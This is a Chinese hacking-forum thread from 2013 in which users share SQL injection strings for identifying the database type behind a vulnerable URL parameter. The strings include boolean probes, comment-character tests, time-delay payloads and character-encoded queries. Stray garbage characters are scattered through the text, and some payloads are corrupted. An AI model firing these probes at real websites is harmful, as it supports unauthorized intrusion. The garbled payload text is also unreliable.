找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2027|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
4 e& q. [$ @* Zxsser (十根阳具有长短!!) | 2013-02-05 12:362 z8 Y9 [  [: P; C' I3 _- R* D: N
假设这么一个注射点:
1 b$ X# ?' `: f8 gshow.html?id=2( k" G9 _, R' D' ]% s$ Z8 O, l
mysql:id=2 and version()>03 e' o5 [( N% q5 o$ F, ~
oracle:id=2 and '1'||'1'='11, N" h( F. }) d3 z" ]
其他的欢迎补充
7 g6 u$ _$ W' |& `6 v1#
# b$ @: p/ j! P1 w4 ~6 Z) e* cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
% D+ j/ r0 O, a, {Access:# u9 s4 N4 `1 ]4 U) x
aNd aSc(cHr(97))=97
1 ^; C1 X5 \. A. E: L* i7 C$ o2 j* N' aand exists(select id from MSysAccessObjects)! Y$ t  }0 a! s+ C
SQL Server:
( f2 d6 g+ J% Y, Iand exists(select id from sysobjects)+ P" Y! x6 x" w
and length(user)>0
# ^: Q" j; P! r: y4 q; t# D7 dMySQL:1 [, w% x& v# l
and length(user())>0- n: p. s% a& D$ y6 z
2#
4 Q: ]/ r$ `- O8 w! w" |% y# m% zxsser (十根阳具有长短!!) | 2013-02-05 12:48
( i# l1 V8 ?# q  `: M3 a@upload 如果这些都不是呢…' v# z) [; v, Q8 ?5 N5 ]
3#( f* X) `3 |6 N% E
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03- ^; r/ W  P: e9 F( _
@xsser 不快速的,延时注入* R. N7 A: u9 c
不知道这样写对不对
4 T* l  s; q/ B2 B+ Imssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 Q6 q& B$ W# b  o0 ~
mysql:id=2 and select benchmark(1e8,current_date());
. C( B/ s- H9 k3 n' U7 @+ n9 g# X" W" w4#
6 o( a' H% v8 w; S0 |) Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
4 g, F% o$ L$ I8 _' T* m! R4 M最快的貌似是看报错信息
' |8 ]& T6 ?1 y0 l4 xoracle error
; R. ?+ F' v3 u2 \2 Y4 Lmssql error
" `; O1 e* b' Lmysql error
8 R8 Q2 F7 t' v% l2 R5#2 T) ~: Y' i3 e3 l
Nimda (你们都是坏银~) | 2013-02-05 13:14' }4 z7 C0 L; v: {. F8 \/ K
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
$ a; L# |+ G. N0 X! c6#
2 P7 Q7 ~. `' Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
& V. o5 s* N3 c“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
& E+ D0 _) P; K1 ~“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:+ j0 d5 J2 Q) n" R1 ~4 I: [  i$ F
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
  i1 ]  G/ A& B; `. |+ `$ [' k7#
0 n6 d+ [" r( K7 p4 L# W# B8 r_Evil (HackEnd) | 2013-02-05 13:33
$ D. T& `! Z5 K" ~" P& ], nPostgreSQL
! `9 {: K" n1 k2 Z8#
& `% Q* p) F1 d9 [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:423 a6 g8 z) W/ r4 c: z# B
切换编码 and 1=16 f2 @" X- }+ I
oracle:
4 `" e8 a, U& p6 U5 y6 ECHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
$ W% I9 ]/ b1 @4 e9 |' M1 l2 Dmssql:+ \) M, d! R5 H' b2 @* j- H7 D
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)1 S6 g6 P8 p0 W/ M" t
mysql:
, i! m, {3 |% n6 f' e' Y% D8 FCHAR(97, 110, 100, 32, 49, 61, 49)5 I  C1 e+ Y) j* `  Z1 }
9#' c% H1 Y4 S( K" N; I$ _
xsser (十根阳具有长短!!) | 2013-02-05 14:31! F& T6 P& J! P6 c: W; T3 i
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
6 o0 W4 Y, o& p% S4 |# U10#& _" W9 n: U8 }. F! Q7 B$ f
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
/ [3 ^! A0 x! s+ ^@xsser 是奇葩数据库类型的么?
- S) S) s7 o; N根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
$ t( S" H; L/ ^7 N: H1.是否可以使用特定的函数来判断,该数据库特有的" }, h/ ?$ B9 }9 |4 o
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等5 H) {$ C  d2 N: K. f$ b
3.是否可以编码查询" b# o1 x, X3 r6 y7 _, w3 h& k
4.是否显可以利用错信息
5 J. X0 |6 ?4 O3 `5.是否存在数据库某些特性辅助判断
0 y" _( n: L- a' f' L4 v个人见解
3 J3 A4 G6 {; R  n& \& Q- t- G' M11#
$ ?4 x  F( \6 D2 {$ l* @小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ f, W! T# ?& X9 @! i7 F  s
已收藏,mssql可以直接看到错误提示的吧~5 O0 S. N5 H0 g8 ^* B
12#& j0 L. g6 v2 S6 D3 x0 e6 W! `$ t
Passer_by | 2013-02-05 15:094 x: O) L1 ?9 `' q3 Z
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。+ C$ u  u0 O6 x
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表